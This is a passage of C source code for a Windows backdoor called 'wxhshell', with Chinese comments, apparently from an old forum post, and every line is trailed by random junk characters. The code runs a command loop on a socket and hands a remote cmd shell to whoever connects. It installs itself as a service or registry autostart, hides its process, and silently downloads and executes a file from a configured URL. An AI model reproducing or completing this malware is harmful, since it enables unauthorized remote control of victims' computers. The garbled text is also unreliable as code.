  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UCo<ie\V  
  else K;TTGK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (@O,U  
  } $ylxl"Y  
  else { Oj2=&uz  
Q H>g-@  
    switch(cmd[0]) { ";n%^I}  
  l[nf"'  
  // 帮助 Ku3NE-)  
  case '?': { (F:|tiV+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a@?ebCE  
    break; ma`sv<f4-!  
  } _~*ba+{  
  // 安装 7&V3f=aj6  
  case 'i': { x3jjtjf  
    if(Install()) Dd$8{~h"G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Prz|   
    else C"k]U[%{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .wtYost v  
    break; zT hut!O  
    } e)F_zX  
  // 卸载 W)Yo-%  
  case 'r': { V<KjKa+sG  
    if(Uninstall()) Xxm7s S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V:AA{<  
    else ^[ 2siG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]Rmu +N|  
    break; :/}=s5aQl/  
    } =knBwjeD  
  // 显示 wxhshell 所在路径 H;FzWcm  
  case 'p': { P1`YbLER5  
    char svExeFile[MAX_PATH]; QX. U:p5C  
    strcpy(svExeFile,"\n\r"); 8yuTT^  
      strcat(svExeFile,ExeFile); Imo?)dYK  
        send(wsh,svExeFile,strlen(svExeFile),0); :a( Oc'T  
    break; mt-t8~A  
    } =]<X6!0mR  
  // 重启 u:^9ZQ+  
  case 'b': { W:2]d  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O@LUM{\  
    if(Boot(REBOOT)) XKT[8o<L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \@_?mL@=  
    else { SMQC/t]HT  
    closesocket(wsh); $^#q0Yx  
    ExitThread(0); >vuR:4B  
    } eHyIFoaC/  
    break; "YV vmCp  
    } Hqu?="f=  
  // 关机 7TZ,bD_  
  case 'd': { xQqZi b5I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G4uOY?0N  
    if(Boot(SHUTDOWN)) 48 mTL+*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZYz8ul$E  
    else { ;#7:}>}rO  
    closesocket(wsh); ED A6b]  
    ExitThread(0);  b|Eo\l2  
    } 3E8 Gh>J_  
    break; t0 T#Xb  
    } R>,_C7]u  
  // 获取shell '5 9{VA6h  
  case 's': { qp/nWGj  
    CmdShell(wsh); P_ b8_ydU  
    closesocket(wsh); #5^S@}e  
    ExitThread(0); >V&GL{  
    break; >5Sm.7}R  
  } Q1DiEg  
  // 退出 IXR%IggJA  
  case 'x': { m!Aw,*m+*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =%;TVJk*a  
    CloseIt(wsh); }y%mG&KSz  
    break; XBTjb  
    } _+&/P&  
  // 离开 \Iz-<:gA'  
  case 'q': { F=;nWQ&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DM{Z#b]  
    closesocket(wsh); QU@CPME  
    WSACleanup(); -Z:nImqzc  
    exit(1); ,k,+UisG  
    break; LlbE]_Z!U%  
        } k_ijVfI9  
  } P m|S>r  
  } NF_[q(k'  
,{#Li  
  // 提示信息 V:1_k"zQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u9ue>I /  
} PkF'#W%  
  } OUm,;WNLf  
F'njtrO3  
  return; sfCU"O2G  
} ^<Sy{KY  
I$I',x5Z  
// shell模块句柄 [} "m4+  
int CmdShell(SOCKET sock) XJ?zP=UK  
{ (gUxS.zU  
STARTUPINFO si; oX6()FR  
ZeroMemory(&si,sizeof(si)); i0[mU,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ezr'"1Ba}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >NBwtF>  
PROCESS_INFORMATION ProcessInfo; >uYGY{+j[  
char cmdline[]="cmd"; }A7 ] bd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Gq.fQ_oOb  
  return 0; )`<7qT_BM  
} L!:;H,  
,Z[pLF  
// 自身启动模式 K1-y[pS]E  
int StartFromService(void) p+:MZP -%(  
{ o@r~KFIe  
typedef struct u%nhQ%  
{ $_ k:{?  
  DWORD ExitStatus; /#e-x|L  
  DWORD PebBaseAddress; #lx(F3  
  DWORD AffinityMask; Pb/[945  
  DWORD BasePriority; PkDh[i9Z|  
  ULONG UniqueProcessId; |`@7G`x  
  ULONG InheritedFromUniqueProcessId; lD?]D&  
}   PROCESS_BASIC_INFORMATION; UphZRgT!N  
v`~egE17  
PROCNTQSIP NtQueryInformationProcess; HJOoCf  
3xpygx9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WI\h@qSB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Hr=?_Un"  
x7c#kU2A&Z  
  HANDLE             hProcess; #h2 qrX&+  
  PROCESS_BASIC_INFORMATION pbi; ^e1mK4`  
#(r1b'jfP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s^-o_K\*c  
  if(NULL == hInst ) return 0; o1rH@D6/-  
:74G5U8%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5m rkw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0|`iop%(n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +(##B pC  
wRQMuFGY  
  if (!NtQueryInformationProcess) return 0; {3\{aZ8)  
a O(&<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |=sjG f  
  if(!hProcess) return 0; b@)nB  
#e$vv!&}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *uvE`4V^Jg  
]0myoWpi3  
  CloseHandle(hProcess); !+ ??3-q  
:.W</o~\s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2M?L++i  
if(hProcess==NULL) return 0; Ve\P,.  
_t\)W(E&  
HMODULE hMod; =_,j89E  
char procName[255]; E3h-?ugO'  
unsigned long cbNeeded; 3 bl l9Ey  
Ip;;@o&D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "$N 4S9U  
ug9]^p/)^  
  CloseHandle(hProcess); JS0957K  
.Wvg{ S -  
if(strstr(procName,"services")) return 1; // 以服务启动 o\:vxj+%*  
f5hf<R),A  
  return 0; // 注册表启动 *^.OqbO[U  
} fZrB!\Q  
5Q@4@b{C  
// 主模块 Ia*T*q Ju  
int StartWxhshell(LPSTR lpCmdLine) -v?)E S  
{ <~35tOpv  
  SOCKET wsl; )r:gDd#/X  
BOOL val=TRUE; MGSD;Lgn  
  int port=0; 0`"DYJ}d  
  struct sockaddr_in door; RV, cQ K  
Xa/]} B  
  if(wscfg.ws_autoins) Install(); 6YYDp&nqEj  
aUEnQ%YU"  
port=atoi(lpCmdLine); NC{8[*Kx5  
hZeF? G)L'  
if(port<=0) port=wscfg.ws_port; 2"L a}Vx2  
'V(9ein^Q  
  WSADATA data; [fr!J?/@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ny[\yj4F  
Y EhPAQNj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   eLN[`hJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E#mpj~{-  
  door.sin_family = AF_INET; y'U-y"7y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); dmUa\1g#  
  door.sin_port = htons(port); _&/2-3]\B  
6eAJ >9@x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F48W8'un  
closesocket(wsl); PZO8< d  
return 1; a #Pr)H  
} o.KE=zp&z  
m[6c{$A/w  
  if(listen(wsl,2) == INVALID_SOCKET) { tf?"AY4  
closesocket(wsl); K8|>"c~  
return 1; CeW}z kcT  
} l08JL  
  Wxhshell(wsl); Z6_E/S  
  WSACleanup(); nO .:f  
K.::P84m;  
return 0; 3B[u2o>  
;$rh&ET  
} be:=-B7!  
)dZ1$MC[  
// 以NT服务方式启动 3C(V<R?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jin XK  
{ -)Y[t Z^*`  
DWORD   status = 0; }R2afTn[;  
  DWORD   specificError = 0xfffffff; ]5j1p6;(`  
uw9w{3]0f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <l"rnM%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fIm=^}?fwK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W3-g]#\?  
  serviceStatus.dwWin32ExitCode     = 0; }-15^2  
  serviceStatus.dwServiceSpecificExitCode = 0; JzuP A I  
  serviceStatus.dwCheckPoint       = 0; T,fDH!a  
  serviceStatus.dwWaitHint       = 0; U~YjTjbd  
yh"48@L'D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pl5Q2zq%  
  if (hServiceStatusHandle==0) return; @rt}z+JF  
]{PJ  
status = GetLastError(); UWg+7RL  
  if (status!=NO_ERROR) l. 0|>gj`0  
{ x]<0Kq9K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L<H6AzR+  
    serviceStatus.dwCheckPoint       = 0; EGJrnz8  
    serviceStatus.dwWaitHint       = 0; m00 5*>IY  
    serviceStatus.dwWin32ExitCode     = status; /faP@Q3kR  
    serviceStatus.dwServiceSpecificExitCode = specificError; y`p(}X`>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &U0Y#11Cx  
    return; 5qQ\H}  
  } F@Cxjz  
"IKbb7x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C#D8 E.W  
  serviceStatus.dwCheckPoint       = 0; &1,{.:@e  
  serviceStatus.dwWaitHint       = 0; WiCJhVF3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Qvhz$W[P>  
} 7F 1nBd  
<Z\j#p:  
// 处理NT服务事件,比如:启动、停止 B*T;DE   
VOID WINAPI NTServiceHandler(DWORD fdwControl) XI58Cy*!  
{ g,d'&r"JWt  
switch(fdwControl) b{hdEb  
{ i@hW" [A  
case SERVICE_CONTROL_STOP: C{P:1ELYXH  
  serviceStatus.dwWin32ExitCode = 0; W"ldQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $>!tpJw  
  serviceStatus.dwCheckPoint   = 0; \R (Yf!>  
  serviceStatus.dwWaitHint     = 0; vN3uLz'<  
  { [-'LJG Wb<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]sG^a7Z.X  
  } |^$?9Dn9.L  
  return; j<C p&}X  
case SERVICE_CONTROL_PAUSE: Sx}61?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 40R7@Vaf  
  break; 71!'k>]h  
case SERVICE_CONTROL_CONTINUE: xr).ZswQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `} :~,E  
  break; |;MW98 A  
case SERVICE_CONTROL_INTERROGATE: >\5IB5'j  
  break; (=/}i'  
}; rv;is=#1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8u4FagQ,  
} lko k2  
GMQKR,6VM  
// 标准应用程序主函数 "%]vSr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZIikDi h1  
{ A,#a?O6m  
+o^sm'$  
// 获取操作系统版本 {2MS,Ua{  
OsIsNt=GetOsVer(); 9,G94.da  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?_+8K`B  
Kuy0Ci  
  // 从命令行安装 P* .0kR1n  
  if(strpbrk(lpCmdLine,"iI")) Install(); 56T{JTo  
2L|)uCb  
  // 下载执行文件 LGPPyK Nx  
if(wscfg.ws_downexe) { LQ3J$N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (|U|>@  
  WinExec(wscfg.ws_filenam,SW_HIDE); dId&tTMmC  
} `sPH7^R  
ewORb  
if(!OsIsNt) { gzeTBlXg  
// 如果时win9x,隐藏进程并且设置为注册表启动 Lm"zW>v  
HideProc(); (YKkJ  
StartWxhshell(lpCmdLine);  '  
}  WDq~mi  
else QTT2P(Pz  
  if(StartFromService()) GBo'=  
  // 以服务方式启动 $3je+=ER  
  StartServiceCtrlDispatcher(DispatchTable); +w'He9n  
else %m?$"<q_K  
  // 普通方式启动 ]iE) 8X  
  StartWxhshell(lpCmdLine); ISALR{Aq  
Z@ZSn0  
return 0; \:|"qk  
}
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只看该作者 1 发表于: 2006-10-10
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